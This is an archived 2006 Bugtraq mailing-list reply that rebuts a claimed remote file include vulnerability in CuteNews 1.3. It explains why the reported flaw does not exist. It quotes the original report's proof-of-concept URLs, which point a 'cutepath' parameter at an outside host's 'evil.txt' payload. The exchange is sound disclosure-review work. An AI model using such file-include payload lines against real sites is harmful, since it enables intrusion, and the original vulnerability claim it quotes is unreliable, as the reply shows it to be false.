lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Wed, 30 Aug 2006 00:12:25 +0200 From: "Carsten Eilers" <ceilers-lists@....de> To: <stormhacker@...mail.com>, <bugtraq@...urityfocus.com> Subject: Re: CuteNews 1.3.* Remote File Include Vulnerability Hi, stormhacker@...mail.com schrieb am Fri, 25 Aug 2006 19:14:46 +0000: >Vendor: CuteNews 1.3.* > >-----------------Description--------------- > > >$cutepath = __FILE__; Here $cutepath is set to the path of this script >$cutepath = preg_replace( "'\\\search\.php'", "", $cutepath); > >$cutepath = preg_replace( "'/search\.php'", "", $cutepath); Now the name of the script, search.php, is removed. As result $cutepath contains the patch to the directory of search.php... >require_once("$cutepath/inc/functions.inc.php"); ...from where inc/functions.inc.php is included. Same for show_news.php. So where is a vulnerability? >--------------PoC/Exploit---------------------- > > >show_news.php?cutepath=http://host/evil.txt? > >search.php?cutepath=http://host/evil.txt? They don't work >--------------Solution--------------------- > > >No Patch available. No patch necessary. >--------------Credit----------------------- > > >Discovered by: rUnViRuS (worlddefacers.de) Credit for what? A non-existing vulnerability? OK: Applaus, applaus, applaus... ;-) Regards Carsten -- Dipl.-Inform. Carsten Eilers IT-Sicherheit und Datenschutz <http://www.ceilers-it.de>
Powered by blists - more mailing lists